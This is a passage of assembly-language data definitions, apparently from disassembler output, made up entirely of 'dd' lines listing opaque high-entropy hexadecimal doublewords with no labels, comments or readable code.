		dd 0A72DFDF8h, 0D01BDF0Eh, 4BBBBEF3h, 23CE360Bh, 40458408h
		dd 4E7D5009h, 0BCF762F8h, 1C5769F8h, 738280A5h,	45F02F59h
		dd 122080F7h, 0A17B3F6Fh, 0D1D55A8Ah, 0D9180BCFh, 8AE04410h
		dd 430908BCh, 0FDD3011Bh, 520215C6h, 6212F968h,	0FDDEC260h
		dd 0EC4E281Ch, 0B3BBED13h, 7880205h, 2801560Ch,	0BDE90908h
		dd 50761DF8h, 63B2D28h,	7574120h, 0F0106CB8h, 471BF01Ah
		dd 0FEFE1C36h, 0F3F3E85Ah, 5122D810h, 73B22F6Fh, 955FFBC4h
		dd 0F76038EFh, 86308441h, 11019744h, 3BABF480h,	2CEC1FA0h
		dd 1A398606h, 40F709C6h, 0FC800865h, 81F59D93h,	5859EFFEh
		dd 0F7F28BC2h, 0C1276634h, 0EBEB7C3Dh, 8943015Eh, 729251Fh
		dd 0EF97EDF4h, 0B5EC4FF5h, 277DA48Bh, 7784ECCDh, 0FF84EECAh
		dd 0C1A013B8h, 0E91307EDh, 2ADD25C3h, 14B38A3Eh, 1A424F68h
		dd 5E5EF034h, 2ADA524Dh, 0D528F57Fh, 2D25CBDCh,	6BF6746Bh
		dd 25C511DFh, 7E29892Fh, 0DDE3CECDh, 0AFB00112h, 0E9541657h
		dd 55888311h, 0C3F4C7B2h, 0E6A24A3Fh, 0AC70A0CBh, 5BDD301Eh
		dd 0B2ED390Ch, 8EA17C1h, 0AA4D0F4Ah, 0C1621465h, 8A3C6A2Eh
		dd 0C902BB4Eh, 9088F42h, 3980EFDh, 99285AF0h, 983F372Ch
		dd 9977B68h, 5AC07EBDh,	7EF35A42h, 5D586E80h, 824C012Ah
		dd 0A02A2C2h, 2CF460E9h, 0EE8B451Dh, 56E5754Eh,	2E3288A0h
		dd 7F091243h, 0BBD75CC2h, 0BAA40182h, 799611Bh,	0C1ED2421h
		dd 0F9EAC1BDh, 0BACF1A60h, 0A8595B9Fh, 0BC16F5B0h, 0A5BF681Fh
		dd 0DD47575Eh, 620BA920h, 55155B6Ch, 0E8212100h, 765901E9h
		dd 0C3B26412h, 2C7C91F8h, 93F3EB7Ch, 0E8C6FAC1h, 0F4D49F0Ch
		dd 6C03D125h, 0E1D10BAh, 56800178h, 303FA2BEh, 408CB872h
		dd 7CD2312Fh, 52398219h, 0BF9AB2F8h, 65AAAA98h,	49EE22B5h
		dd 0D7F702A2h, 146CA540h, 20AF94B7h, 0FE3B358Fh, 0BC8797CDh
		dd 13BD4A88h, 0FBC83BAFh, 0A1C13E06h, 2C76F31Dh, 0AD4BAA4Dh
		dd 0DF5DCB14h, 14DD8F32h, 7A32C162h, 0D92CB33Dh, 36167059h
		dd 30B2E49h, 0B51C2DF3h, 80CBB34Ah, 0C157077Eh,	0B7FFF418h
		dd 20BF3B7Fh, 0D6F75C47h, 282571BDh, 0BBC34B04h, 2D682328h
		dd 69715DB1h, 5F2E961h,	0B9C37F80h, 68061F66h, 0A8F82D5Ah
		dd 2CB0B8C0h, 214B174Ch, 9056AE2Ch, 14440B8Ch, 1DF46C33h
		dd 23F3F609h, 0F2B2C509h, 0CD928726h, 809ED85h,	0D8B2DF59h
		dd 4B141477h, 0EA0213BAh, 834160CBh, 0DDDE7E02h, 77542B09h
		dd 884B9FCEh, 98147A25h, 7E520290h, 4305E3C1h, 6AE3541h
		dd 3B7F0F98h, 0D67D03ECh, 5AA6DB78h, 0C7628EBh,	7A8C744Bh
		dd 223B55E8h, 4C2BB42h,	90B4EA5Ch, 8D614A63h, 0AE3B88E5h
		dd 775B1338h, 1D7DEF1h,	1452F195h, 0DBA06ADCh, 5F1AB8DFh
		dd 0D405BFF9h, 0E3EE7980h, 890389F2h, 646C7DF6h, 0F5348B2Ch
		dd 8105B178h, 80D4D451h, 30A6F89Dh, 7C0CFCC1h, 5F6BF9E9h
		dd 2E2B5D22h, 5A1C4155h, 6EEA8A99h, 6340C643h, 450D2D30h
		dd 3AD93170h, 0A64AC73Ch, 92533E1Eh, 0E34D978Dh, 4D6804D9h
		dd 1A4D879Ch, 1953821Eh, 9076477Dh, 68E3071Ch, 0DF0B2C02h
		dd 0E941FDE5h, 0F33EDE5Ah, 685B0632h, 4B1F61E8h, 0BE701EB9h
		dd 678E28A4h, 913D9751h, 0B9594B20h, 0E26616ABh, 0B8D9934Dh
		dd 0CB44FB2Ah, 5BEC3703h, 5F8787E4h, 1C5DE7DFh,	0DEB50E1Bh
		dd 0AE123CB4h, 45E95A02h, 209CCBACh, 0BF007B3Eh, 153340EFh
		dd 189AF781h, 0C31BB30h, 88277071h, 0BFFFF824h,	0E985CA47h
		dd 0CCD093C0h, 7A5D6195h, 0E96E4B27h, 5BC5121Dh, 2E3E3DFAh
		dd 91FBD513h, 2A4725D1h, 1C47ACCEh, 0CC735327h,	0B8E238C9h
		dd 0E801820Ah, 2FF31AA6h, 0C456F50Fh, 44BA8232h, 0ED1E337Dh
		dd 0A80539C9h, 0E020D0EFh, 885E1EA0h, 0F0481311h, 68155DCCh
		dd 7E705AA4h, 0DE43FA6Bh, 6BF82760h, 5320FC2Fh,	34AE0BEBh
		dd 5B6658F6h, 3F12583Ah, 2EA773B1h, 7FDEECDh, 1E42D24h
		dd 58258D2Ch, 0D819BC2Dh, 7E0F0548h, 41128666h,	770F63F3h
		dd 81B9017Ah, 47497ACFh, 0E8206FA8h, 0E97EF70Dh, 915659h
		dd 1A01BEB9h, 1A092D0Eh, 0C0044A36h, 824B662h, 0FA62FFF0h
		dd 7C126A1Ah, 0C4D7D238h, 0DD724EFh, 0E18140D5h, 0A2305A2Eh
		dd 18B73A32h, 58664C49h, 39135300h, 0E9CF3122h,	36106F30h
		dd 72377A2Dh, 0F8291418h, 0E9090705h, 0A276488Bh, 4B1AC240h
		dd 34207D0Fh, 0F11BAE71h, 34A8D113h, 4A60D5A1h,	75F58106h
		dd 118A0546h, 805DE909h, 765ED1BBh, 0FA21083Ch,	0D7472F69h
		dd 0C4A78B45h, 29E725F8h, 7CEBD4D1h, 0F11A7000h, 35A3FE4Ah
		dd 12575A2Fh, 6432F4A5h, 5F3DE0AEh, 0D1DFF724h,	8A52F302h
		dd 0ADE88078h, 0B558B540h, 7A677C69h, 9CEB4017h, 5698DA14h
		dd 5E0D8638h, 0E96C3CBBh, 0F626082Dh, 0B818EC44h, 16D83BF1h
		dd 14E65994h, 116CB205h, 40A20121h, 2B6B416Fh, 552E280h
		dd 6C40B5B6h, 0C7252E7Ch, 4943575Ch, 49313A98h,	43C7734Bh
		dd 2F24AE42h, 5FC5F1C0h, 0F53931C6h, 0E916F95Eh, 2449B7CBh
		dd 0E8B006EBh, 85409580h, 0B5A6617h, 0A92665EDh, 4087BEC5h
		dd 0A4785536h, 692DE844h, 3BC7D5C1h, 20E95985h,	0FE6CBBF1h
		dd 0B0C20268h, 307235C8h, 0E6813B03h, 2D792BDFh, 120BED32h
		dd 14DA545Eh, 5BD925CAh, 543DF3D3h, 52CB5EE0h, 0A33B90C7h
		dd 0AA2E145Fh, 0AE108489h, 19C33B53h, 29AAE5D1h, 0B973B47Eh
		dd 626CD91Fh, 2894E68Dh, 0BA8E0431h, 130957B8h,	8A98E5DDh
		dd 0ACA930E9h, 5ACB0419h, 3CF0BA94h, 2F5979Dh, 0D352E0D5h
		dd 2668A6B4h, 0B4FFAFA2h, 6BE919DBh, 0DDCB47ACh, 4129233Fh
		dd 21E1D2BDh, 6C37F501h, 62697570h, 7C6484DFh, 5F5B11BBh
		dd 0CFD2F7Ah, 0C6AFE259h, 0E9D91392h, 0AD544F97h, 8B0B81D4h
		dd 0DE89E51h, 91227F6h,	90BF15D9h, 0E7243FDEh, 5022346Ch
		dd 4B31050Dh, 0A8BFE96Fh, 0BAD04ADCh, 4F432E34h, 79E1002h
		dd 0C0D65B2Fh, 466E8E82h, 0ABD2894Eh, 33E5DF96h, 0A6A07593h
		dd 3E475897h, 4ECC8E51h, 10DD025Eh, 52E9F889h, 986809E8h
		dd 0CF2D565Ch, 2B3DC957h, 756BFDC4h, 56CA96D2h,	691C7C55h
		dd 206D1655h, 76B50DAAh, 5EF0C26Ah, 0EA40F9DCh,	9540317Ch
		dd 7457B80h, 0E2F8181Bh, 491E9D0Ch, 0D308252Ah,	4ECBAC02h
		dd 0B5BDB712h, 0BE12BE85h, 47090F71h, 51B7E42Ah, 0EF78E90Bh
		dd 189677FEh, 5210FF97h, 679D4272h, 661082B8h, 0E07D2063h
		dd 0BB95111h, 41BB38F5h
		dd 2D09FD50h, 42212Ah, 24A7274h, 0C231174Bh, 0CA0F1958h
		dd 34D2306Ah, 563881BDh, 0BAD50ECFh, 0AC4A7F6Ch, 425827DFh
		dd 92D45FA6h, 0DFE5A73Dh, 0E955109Ch, 17B5C8E0h, 0F7545098h
		dd 194A67E8h, 54A54971h, 0EEBC3795h, 33257852h,	1E7F2E42h
		dd 890ABB65h, 8CE2AFE9h, 93185240h, 66E1FC9Eh, 4BCF8D2Dh
		dd 587B008h, 0E940280Bh, 0E23AAB26h, 0D1C08453h, 295BD841h
		dd 61E63FC1h, 0FEE7790Bh, 744178B0h, 0E9156EA6h, 8F427EB1h
		dd 3D458453h, 0F80B2D4h, 0BBF32959h, 7805013Ah,	2E41E428h
		dd 704FBA1h, 7E132DFEh,	680B6BA3h, 48F4312Fh, 4E92E970h
		dd 92093778h, 465D13DCh, 42522230h, 0A78068D6h,	9F40C803h
		dd 140C9844h, 0C2FD062h, 3A501631h, 20CDB137h, 2375E832h
		dd 63E9610Ah, 50191F7h,	65D3D8Bh, 7EE103Bh, 0B069E912h
		dd 789F5CFCh, 36AD0036h, 0C2BD3CABh, 524FF81Eh,	0BF931FB8h
		dd 0EB819890h, 6F5B189Dh, 65540C5Ch, 5062732Dh,	1EE91AF1h
		dd 0E8FD280Bh, 0CAF363BBh, 1BCBB89h, 7468556Ch,	201A2260h
		dd 6256F403h, 207F1524h, 0E60B47C4h, 0E80DE7h, 0CD0279F8h
		dd 0DDF71C15h, 0EDD1494Dh, 3E7E2580h, 74953D30h, 9FF49E40h
		dd 89E96C34h, 5582EB01h, 0BD00AB52h, 6E1759A4h,	0AFB7E237h
		dd 42EB8475h, 0B63EF5C3h, 0B5206D58h, 64215A08h, 68B1A087h
		dd 2CFD165Bh, 5375C293h, 5E59DFBh, 0EC7F7CB1h, 0E21D82E6h
		dd 0AC9BDFFEh, 7B58FE01h, 0ED83096Bh, 4D875860h, 5987F51Bh
		dd 7BC8B755h, 0F191105Fh, 0B6ECE7DFh, 9609F88h,	4182A16Eh
		dd 0A0F4F99Ah, 395F97AFh, 76F4C8B7h, 8B8DBC6Ch,	6EF223DCh
		dd 0A7C42B4Ah, 2A8399BBh, 0C8D62AF3h, 26BE97Eh,	55D8E247h
		dd 0E5B719CEh, 0C9E909A6h, 0FC2DF8C0h, 5BFA5439h, 63284AA1h
		dd 244B1EA2h, 0DAD97ECAh, 0A7E1C364h, 98753C61h, 0B88A927Fh
		dd 0B2929250h, 7EF50220h, 267CBFC1h, 77E2B362h,	91F0BA44h
		dd 77A7994Fh, 4B9D611Fh, 0EA7DFB65h, 5A7CD0h, 7368D9BFh
		dd 0BDA03144h, 0EB67A3Ah, 344992BBh, 8CE77A41h,	5530306Ah
		dd 179A606Bh, 0BFB624C3h, 0A182DF5Bh, 59AC9856h, 945197CEh
		dd 373EB0B9h, 244E4DEDh, 44E46D1Ch, 2F1ACE0h, 0A53EBA05h
		dd 73C25773h, 548B0080h, 0E918705Ch, 0F243D29Ah, 984C0F0Ah
		dd 8E844A51h, 16CA25Eh,	0F609B353h, 0B370FEDBh,	43324087h
		dd 89974BECh, 53A706Fh,	67E71B9Ch, 0AFF68489h, 540BDA9h
		dd 68E92703h, 0A051CF8Bh, 97FA2970h, 0D98089D4h, 0E93AA16Bh
		dd 84396F3Bh, 0A8258A4Eh, 0C2A7C5B5h, 647F664Eh, 0E06B2791h
		dd 814D9E6h, 7EAC1348h,	717BCC27h, 0E8C9CF5Ah, 0C55F2C42h
		dd 0C048A59Eh, 5648568h, 2BA11D31h, 979AF66Bh, 20CDA6E8h
		dd 2DC70097h, 635A1D31h, 0AC5E14FCh, 66E91F40h,	0DF4909A4h
		dd 0BD04D862h, 0D7010991h, 68579CB0h, 2B075F95h, 99F8F45Fh
		dd 0CA8455B3h, 89E55ECFh, 7D35D520h, 0E0064E0Eh, 6C02FAF9h
		dd 2E9319Ah, 120546D4h,	0FF30D0B5h, 0AA12A706h,	0F5D582A3h
		dd 5EC1E76Ah, 0CDA59790h, 5A165801h, 1F2B3CA5h,	60F672Bh
		dd 17ABBC56h, 5B44B3C1h, 921E3E43h, 2920829Bh, 0A158C370h
		dd 5F3217F0h, 0DA89A61Ch, 0AC070042h, 964A4F19h, 0A0011354h
		dd 0A4E4596h, 553EABCCh, 5FF754DBh, 0A8FCA003h,	0DB2A3B16h
		dd 901404AEh, 0DC5D0952h, 4188E064h, 519043F1h,	82D92609h
		dd 12D37A2Dh, 1F5F22C2h, 83CAC7F8h, 3ADDC94Fh, 192D600Bh
		dd 3C6BDB8h, 4B60CF16h,	953D104h, 84198512h, 5A152AAh
		dd 0A5426EC3h, 4EBC30E9h, 0C2CF5F60h, 4C6B0C10h, 0F22A591Dh
		dd 3168727Ah, 3F4CBF1Bh, 0E5CA3A4Fh, 0C2732F7Ch, 1FF6544Eh
		dd 6AF93F7Bh, 441284B6h, 31118951h, 0FAD01513h,	842DE9CBh
		dd 0B518497Ch, 78B05035h, 278D273Bh, 46F69055h,	0BE59A8B6h
		dd 23E813h, 1EE68140h, 0D17DB348h, 0DEF7EE14h, 6CA04C1h
		dd 310F749Ah, 0C5C18D6h, 3F32781Ch, 9019522Bh, 242416D8h
		dd 666FEBh, 11EF0DDDh, 5D5239E9h, 30991464h, 0B578FAEh
		dd 0F6DBE810h, 2F2617B2h, 0E527171Ah, 47D7D12h,	0BDC0F072h
		dd 0E1FE6F84h, 0F9912EC7h, 5E024729h, 376A361h,	0C2CADA59h
		dd 5A8A2569h, 764AED09h, 0BA661289h, 5D686238h,	704B9F81h
		dd 2A072DF3h, 293B9605h, 70205D8h, 0DD04875Bh, 0D8109B33h
		dd 8F501750h, 61C34153h, 0C4E52F4Fh, 20EC9900h,	8B1548C8h
		dd 0AF13D60Ch, 0D00DE980h, 0F836D478h, 5BC873E8h, 4D05EE38h
		dd 24B8A3B9h, 0ABA61BA2h, 0D60F345Fh, 8517106Ah, 84934472h
		dd 40C4BFD0h, 0FBB60404h, 14B0DC7h, 0EBC09934h,	37A05EBAh
		dd 0AFF7F497h, 2A05DB19h, 0CC40F99Ah, 51C171Fh,	66F0010Ch
		dd 0D8718306h, 14122AF3h, 0C0EA7085h, 197C361h,	9EA0725h
		dd 0C869FE6Dh, 5FF086BCh, 0A27DC6Ch, 0ED50681Ah, 4860E22Ch
		dd 4410EF50h, 6B200C8h,	3012F280h, 285A0ED0h, 0FAC958C7h
		dd 5285ABF9h, 81BF72B6h, 2EB3EEB3h, 0D0120C1Ch,	41BB8DEEh
		dd 808D1Bh, 451F7BEh, 6568231Fh, 44FE36Ah, 228825ADh, 10FCE82h
		dd 0CFE3D143h, 5087F405h, 6BC8AEAh, 1F7E2A25h, 70C38061h
		dd 0BD93EBCCh, 68526DE0h, 3D25BE24h, 0E9E1B767h, 38896269h
		dd 837DD388h, 0A0F65A83h, 708E5C0h, 0FEF0F580h,	0ED5A6C5h
		dd 0BCE99A16h, 0FD4AF1E8h, 98FAE466h, 0C997A837h, 0BE201D92h
		dd 5747481Fh, 0E00F1A35h, 0CD74E923h, 0A53C0E9Ch, 0FBFF6F0h
		dd 0F41B7F64h, 0B1040FBh, 0C30F18B1h, 5E31910h,	0EFF56C59h
		dd 0D51EC505h, 530942B3h, 9182E1B7h, 0F4336935h, 0FA3904h
		dd 5E5A5852h, 5C801D35h, 2540004Ch, 448B3096h, 48F5E90Bh
		dd 0F867CEFFh, 0A45A5A6Ch, 1BD549Eh, 0A6068F5h,	7CB5307Ah
		dd 504794Dh, 4559CD29h,	34F4FA2h, 2A4D1114h, 4874298Ah
		dd 340AD539h, 0D31267E1h, 4EF3643h, 0D9ABBA43h,	2AE1E536h
		dd 0E3BBD713h, 0C4EAD35Eh, 75A7AEF5h, 1D30E410h, 94DA5451h
		dd 3EA9C05Dh, 0C6808038h, 0EB06A364h, 7FC2DB99h, 2C89E1C5h
		dd 0C9A201F3h, 517DFEF2h, 29336809h, 436C55h, 0CD1206B8h
		dd 3663E92Eh, 8FBFFF4Eh, 4DE90B6Fh, 50ACFC2Bh, 0C9097FEDh
		dd 6909300Fh, 0B12A0151h, 4B353AE6h, 0C52A32A1h, 4BA08E4Ah
		dd 0D6572E3h, 4683045Fh, 0DE3EFDFFh, 57CAFACAh,	0E4DA66CFh
		dd 17E27617h, 1F7C5F1Ch, 88F04A73h, 1556AFD1h, 79838012h
		dd 1EF4AB5Bh, 0C4FAC410h, 0B8C0B3CCh, 0EDCF1320h, 8F61C929h
		dd 4AD7CB7Fh, 0E005FEA1h, 53BE58C0h, 426B0B59h,	2077E6D1h
		dd 0E705C50Ah, 0B8C17A24h, 1EA82128h, 313B664Fh, 7347B716h
		dd 0A1F83009h, 62E06801h, 103DF62Ah, 0BD0ED3DFh, 67A034DCh
		dd 228B6853h, 0D84CC22Dh, 0F30B9767h, 4974B8DFh, 0AA3EE140h
		dd 84EDD83Ch, 476EA390h, 2E0C1B9h, 0EFED5D19h, 0F85FCD3Ch
		dd 0C9E437h, 3E1FE53Fh,	0EC3A60E5h, 7D37A202h, 273CE3F1h
		dd 0B888936h, 0C6B27F57h, 9902465Ch, 0C178D85Ch, 45BD55B3h
		dd 5D1802A5h, 539D1C56h, 0BE823CD9h, 2CC52705h,	0EBE9D381h
		dd 3B132568h, 0AA3A52B5h, 727E133Dh, 485A014Fh,	2CD9D820h
		dd 1603F8B0h, 1090E58h,	7174CB6Bh, 819FDA14h, 0F9D1C81Ch
		dd 0F313DDFEh, 7F99BBD9h, 45F0FA3h, 11860D4h, 154668ACh
		dd 572A322Eh, 0B205306Ch, 2D55E929h, 257BE6B7h,	69E690E6h
		dd 6768DB26h, 0D1BEC3C9h, 8232739h, 0AFBF047Bh,	0C063B036h
		dd 91237B0Bh
		dd 0EDC7C04Fh, 975D4FFCh, 0E9847267h, 0CDEF7CA6h, 6A57ED3Bh
		dd 8D84C069h, 0B9B831E9h, 86F108Eh, 0DE135C3Eh,	57FB9BEh
		dd 3BF23C7Bh, 486C6h, 975F2A05h, 49572D73h, 3537F301h
		dd 50AE2F5Dh, 0E42E26Bh, 3D182D6Fh, 0C3BEF581h,	0EEFD4A3Ch
		dd 0BE6FA30h, 6634133Fh, 0C8BB22B0h, 357B7516h,	0EA9E12BBh
		dd 9160DF9Dh, 446C1323h, 0E104FACAh, 4FCB618h, 12D8C9C4h
		dd 63C46AA9h, 595E04E4h, 17EF04BFh, 0F2810078h,	4CC9EA93h
		dd 921089CEh, 4C5269ECh, 592FFC8Eh, 191483F4h, 3DEE03Ch
		dd 28F54AB6h, 0B769DE74h, 5BCE820Fh, 0A3BB00C7h, 2C02AD40h
		dd 0FAB7DEBEh, 139C785Dh, 0F8549368h, 5913C138h, 0C73FF00Ch
		dd 40733985h, 6E20D720h, 6B681362h, 8667EB79h, 0D4DB3AF2h
		dd 680782E6h, 0C2EC6FF6h, 272B7D1Fh, 0EAE95102h, 326C5D32h
		dd 8D895h, 8119387Dh, 6F3634CDh, 0D1FA714Bh, 0C4EF9CD9h
		dd 7076E92Fh, 1ADC69Fh,	0E43815E2h, 281C6828h, 7CE90B41h
		dd 0E2B623A4h, 0F762F26h, 0ABA0E9CBh, 46581368h, 0B0C220D7h
		dd 6064EECEh, 22E1255Dh, 545FA910h, 66785BCh, 3932CC02h
		dd 170E4358h, 34EBFE04h, 0DAE8EE58h, 1D732286h,	9171198h
		dd 3E8470D1h, 0E9550701h, 26811AB9h, 0D3586EB8h, 6A243A42h
		dd 59805A84h, 4C2E36C4h, 77182471h, 2FF2A1EFh, 75B04E2h
		dd 9BD2BD90h, 0FCC34F73h, 0E0814AF3h, 3180F8D4h, 0D91FA8C1h
		dd 0F9680113h, 0C02408C8h, 0D16858C0h, 0AF1E9734h, 0D983E927h
		dd 0D05CA538h, 7780E517h, 0BF3814Bh, 903F7CB0h,	0E98B75F6h
		dd 3120815Dh, 0F4DA5929h, 68A581Ch, 5EF2F5C4h, 0E706B0FFh
		dd 66B67413h, 647EC2C0h, 5D530E75h, 479ED5F7h, 0C0B77CD0h
		dd 3E3C15Bh, 0E50BD690h, 8905BF25h, 594D61EBh, 5C16E02Eh
		dd 0A6607141h, 81F49679h, 643589CFh, 85F7D83Eh,	0A6557412h
		dd 0D11AC0FAh, 40B7157Bh, 2862CD2Eh, 4FA6530Fh,	327F2101h
		dd 0EFC73E36h, 0B9003EB4h, 16102C90h, 0A7294Ch,	524AE781h
		dd 2DE92B1Bh, 1A12E64Eh, 12885584h, 0AEB0F4ABh,	40EF4D5Bh
		dd 631CF5C9h, 0CC03410h, 67206983h, 8DED49C1h, 72A92205h
		dd 0B32E802h, 995B0868h, 0A23F5922h, 2E88D4D4h,	0FEAD566Dh
		dd 462A562Fh, 0E803FB14h, 7EC12D5Dh, 11E89486h,	12E90740h
		dd 0A2FFA344h, 0D782179Fh, 20E52DABh, 4473FE3Ah, 0E6B0014Eh
		dd 0EDD5B7Fh, 0B4EFE745h, 276F8AB7h, 0C7EC5EC7h, 3A243833h
		dd 0CA810800h, 76021129h, 184CF23Dh, 18674074h,	9A602310h
		dd 6B54F250h, 0A0185FC7h, 0D4414B8Dh, 9FF6FF60h, 8B09C756h
		dd 0A45B552Ch, 0F7250BA5h, 11298561h, 0E58F0C6Ch, 288618E3h
		dd 705B5817h, 66033AA2h, 8CB35351h, 13F1DC24h, 0BD658182h
		dd 67C47542h, 900F170Bh, 22830013h, 9D113686h, 2509CAE1h
		dd 3402CC25h, 24783D37h, 60404DA2h, 0BC42620Dh,	0B20B4FC3h
		dd 5BDD4B29h, 0DB7FE98Bh, 2CAEA899h, 0C0103F3Ch, 1EC87DDAh
		dd 594A3DFAh, 55D296D2h, 1666FF4h, 63302FCCh, 5B45B3F9h
		dd 0C69EA2BFh, 2AAD529h, 44C3805Bh, 0D241E328h,	0ED20D6E8h
		dd 16D2238Bh, 10DD014Fh, 5B2608F5h, 0BA1A128Ah,	0BFC83B36h
		dd 0DA260753h, 0D734E22Fh, 1620B51h, 0FA27D4C3h, 31986CDFh
		dd 59D7CB01h, 84823951h, 570EEFC2h, 93B216DFh, 0BECCBE78h
		dd 68090DCAh, 9B553ADCh, 75A3C8ADh, 0E97F3811h,	0B42AA5D5h
		dd 0DE09CFE6h, 0C00A1673h, 8EA5FFBh, 0FE01F40Fh, 9919580Bh
		dd 6129204Eh, 5AD47710h, 951272E9h, 259BA354h, 0C03B745Ah
		dd 47EB0319h, 86D57E97h, 343A39E9h, 4FD850EAh, 82C8F1E2h
		dd 752962FDh, 0ADDB9162h, 0FCA24A3Dh, 2973284h,	0C118EB80h
		dd 580301BCh, 8409F9F1h, 0B1515326h, 548107C2h,	358B250Bh
		dd 0D1C3065Eh, 4B924DEDh, 95079148h, 0B274380Dh, 0DE55058Fh
		dd 0C4E4D2EAh, 0A578040h, 7C71A0BFh, 4BC700AFh,	9C26792h
		dd 401B07B0h, 0F53D8F7h, 0D1B33502h, 8189FDC4h,	3CB31D1h
		dd 5741B0C6h, 50CDE15h,	0C410CE36h, 5E23C4BCh, 0EE2EF208h
		dd 0C1C4E910h, 0EBB652C7h, 0F38442B3h, 0D6FA8F63h, 20E21409h
		dd 8013C127h, 0C00CA6ECh, 955A28F6h, 16083148h,	53FFC2E1h
		dd 10DBCA33h, 76A55F60h, 1E9ED52Bh, 1C60A5B2h, 100591BAh
		dd 0E2D11972h, 5BCD9803h, 4E80CC2Fh, 58BA5D33h,	0B03F7818h
		dd 0EE2E9592h, 0EFFA65F0h, 6AA5917Eh, 75347FB9h, 0F5056A0Bh
		dd 9D5FE326h, 6353C8FCh, 2CF54DFEh, 0DB124908h,	179E04F8h
		dd 2975477Dh, 0ACCFF4F3h, 0D34C7066h, 5A76022Bh, 484CBC68h
		dd 83062C40h, 3CD148D3h, 0F1C64010h, 0A4272560h, 1898601Eh
		dd 48E49F2Ah, 0D695A0E0h, 6CFD5A5Eh, 0A5B2D11h,	0FF89AED1h
		dd 0FD18FF10h, 0D089A109h, 89FC2C9h, 0C1FE1256h, 70F989E4h
		dd 0F69DE326h, 0DBED7159h, 0D9EAE9E0h, 0C5A09B92h, 33D03781h
		dd 0E411CCCh, 0AECA7071h, 0C8682789h, 5FB0FB46h, 1E52B60Ah
		dd 9943C62Eh, 0AD2E07F3h, 0A753332Dh, 88BB278h,	0C1F23D7h
		dd 3BEBCB80h, 0C21C5A06h, 29D02D71h, 0F63259EAh, 0FD100CDAh
		dd 8FF5E94Ah, 80BCD39Ch, 0A83A8445h, 5A5CA873h,	425DBF2Dh
		dd 0D4A3D757h, 66B6B980h, 0BD0529E7h, 7CAE9F2Bh, 0E4BE1B84h
		dd 664AF8FBh, 22412F8Dh, 85F447C0h, 0BB96D3D3h,	0E82E45D9h
		dd 8B02B233h, 210D708h,	82EBDFh, 2C7845A7h, 0E5810B6Bh
		dd 1F884A9Eh, 5A3903DEh, 0C063550h, 4B7A14BEh, 0ABAE09A2h
		dd 0B0F8B37Fh, 0E8BDB170h, 272D3262h, 0AF7C6805h, 13E2DA27h
		dd 0C4A0E946h, 0B5BDFA03h, 6FD741F1h, 13FF9834h, 9595AEA4h
		dd 0C721F4AFh, 70215A0Eh, 0CDF7C04Ah, 723B0327h, 0CD3C5AE9h
		dd 1F3B41A9h, 0D4BE0056h, 58F0277Dh, 39E285E8h,	0D8E34CEEh
		dd 0A718C9C2h, 0CE34B7BBh, 0D8548115h, 0CB991B76h, 1D710549h
		dd 48BEFDB4h, 53F37EC5h, 74E82AF9h, 5D5BEE6Dh, 1154509Fh
		dd 0BD597556h, 0EA693151h, 968090FEh, 499CBBE1h, 54BC7FDh
		dd 0BF6C1268h, 2EBE0030h, 43280069h, 50CDAB8h, 59952DBFh
		dd 0C1710983h, 7209597Fh, 888DC55Dh, 0E9053F52h, 0C7401A90h
		dd 3A097E9Dh, 1DE60681h, 0C7D5A15h, 1460B80Ch, 2C20B248h
		dd 130C3C73h, 68984379h, 0AE8460C9h, 81B4D3FCh,	2D6F44Ch
		dd 0EDA5D453h, 0BFB86AA2h, 665B19F6h, 340C45EFh, 0C26390D0h
		dd 0B5256FF7h, 0C2FC795Bh, 0F600B9CFh, 0B4F188D6h, 0CB866079h
		dd 70647D68h, 9AB88D2Dh, 0F0B6D35Fh, 5724C6C0h,	77BBC4A0h
		dd 8955FA26h, 1C700B04h, 0CDF467C5h, 0E48713F1h, 0E5F00E7Dh
		dd 75BF0270h, 0F048161Ah, 0DFF72C7Ah, 0E94F8E63h, 426607E9h
		dd 468CE427h, 0DC2A303Bh, 0BA5E5DE4h, 0EED48E0Ch, 4709847h
		dd 0E939550Dh, 0A8B4FE97h, 245EBFEBh, 0E2FA0C35h, 0B0E93E33h
		dd 0ECEEA90Fh, 66F73B6Dh, 410AF61Fh, 0F389A49Ah, 6155CE5Eh
		dd 1EE36FE7h, 838779Bh,	0B901AD98h, 0EAA69C0h, 2DDAA3EBh
		dd 1D73879Eh, 24383508h, 0C18116D4h, 3E2F0414h,	66467E87h
		dd 7762562h, 59B9F66Bh,	7F7F631Eh, 0DAA6D59h, 598BD601h
		dd 0F952E2F5h, 0AC78FDEDh, 68515909h, 442A96Ch,	660FA90Eh
		dd 9372B587h, 364FE4D1h, 547838FFh, 48A7D0BFh, 14B2968h
		dd 480C94B0h, 2EFD825h,	968F3F26h, 14F9108h, 6B238CBFh
		dd 9C208744h, 0E98176A5h, 2668141Eh, 21B75381h,	804281C0h
		dd 0D7F623F7h, 0C7ACD12Eh, 28D8017Dh, 9F1AA36Eh, 6508E813h
		dd 98EE289Bh, 774D000Ah
		dd 0F5812688h, 9505453Fh, 359DE941h, 251FA9D1h,	0B50115F0h
		dd 0F68EB390h, 50471F9Ch, 0FF6BD847h, 6992BA02h, 807B0526h
		dd 0B736DEA8h, 3EC1AD13h, 468B6E2Eh, 0F292E909h, 0F314FD25h
		dd 772F7D11h, 600F7622h, 4843064Bh, 59C82107h, 848BE8C1h
		dd 510A63B5h, 16F410F0h, 0A81F6853h, 898D2E94h,	0D3B6FD56h
		dd 608AD695h, 0ED6AD5BFh, 0FCFD655Ah, 0D81D2A3Fh, 0EACF807Bh
		dd 50149A07h, 6E16B800h, 0C7313394h, 1B5C59E9h,	3071BB4Ah
		dd 8004EC30h, 130CBF2Ch, 0CF013D12h, 5B080010h,	430C2EFCh
		dd 0EA1823FBh, 6B192B0Ch, 0A1C72829h, 803A5908h, 337B79FBh
		dd 0A7FA5562h, 13B403D3h, 0C779EBBh, 8AE6801Fh,	0D186D0C9h
		dd 17A027ABh, 0D3F7435Bh, 85860E7h, 0AFCE9F12h,	86AAEF13h
		dd 4C020C02h, 163C26Dh,	89F88DEh, 52085013h, 0A05A2761h
		dd 9D154795h, 0F7F2C65Ah, 313908D6h, 95FA22D7h,	0E9B9B057h
		dd 0C0CD6068h, 0B804D725h, 43051903h, 0F9C4F587h, 0D12E607Ch
		dd 332C1D4h, 3EDA95Bh, 9F16A1FCh, 8D380798h, 0F8305F81h
		dd 0F72926Bh, 7D451825h, 0FEC0DC44h, 2F68BA9Ch,	0EF667C1Ch
		dd 7536A425h, 0B1044092h, 0D5310663h, 38FB208Ah, 0B013E282h
		dd 7DEB2FD9h, 99793B23h, 762C3E61h, 0EE7596h, 14B6D17h
